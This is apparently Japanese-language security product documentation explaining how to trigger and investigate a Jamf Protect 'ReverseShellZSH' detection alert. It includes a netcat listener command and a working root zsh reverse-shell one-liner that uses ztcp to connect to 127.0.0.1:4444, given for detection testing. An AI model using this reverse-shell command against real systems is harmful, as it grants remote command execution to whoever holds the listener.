以下のステップに従って、ReverseShellZSH の Analytics のテストを行ってください。 Requirements 仮想マシンを使用している場合、このシミュレーションの最後に戻すために使うスナップショットを作成してください。 Terminal を開いて、次のコマンドを実行してください。# start a netcat listener on local host port 4444 nc -l 4444 別の Terminal ウィンドウを開いて、次のコマンドを実行してください。# verify that port 4444 is up sudo lsof -i -P | grep "4444"同じ Terminal ウィンドウで、以下のコマンドを実行することにより、ZSH リバースシェルを作成して、ポート 4444 のローカルホストに接続し直します。# Summon new shell sudo -s # Create reverse shell /bin/zsh -c 'zmodload zsh/net/tcp && ztcp 127.0.0.1 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' &netcat ウィンドウで、リバースシェルが表示されるようになり、次の netcat リスナーでコマンドを入力できるようになるはずです。whoami上記のテストのステップを完了した後には、ReverseShellZSH というタイトルの新しいアラートが Jamf Protect Cloud の中にあるはずです。ReverseShellZSH のアラートを開いて、確認します。このアラートの分析する際の最も興味深いデータは以下の通りです:Summary (サマリー) > Process Event Details (プロセスイベントの詳細) > Process Arguments (プロセスの引数) これにより、リモート接続のターゲット IP のアドレスとポート、ならびにリバースシェル引数が提供されます。Processes (プロセス): プロセスツリーは、リバースシェルリモートセッションの開始方法を示します。 実世界のシナリオで、このアラートの調査は、リモートセッションのターゲット、および実行が試行されたプログラムを特定するためにプロセスの引数を確認すること、ならびにプロセスツリーによりリバースシェルコマンドがどのぐらい正確に実行されたかを特定することから始まるでしょう。仮想マシンのスナップショットがこのテストシナリオを完了する前に作成された場合、一番簡単なクリーンアップ方法はそのスナップショットが作成された時点に戻すことです。それ以外の場合には、Terminal のこれらのコマンドを実行して、作成されたテストファイルを削除してください。# Close the netcat window by entering exit. exit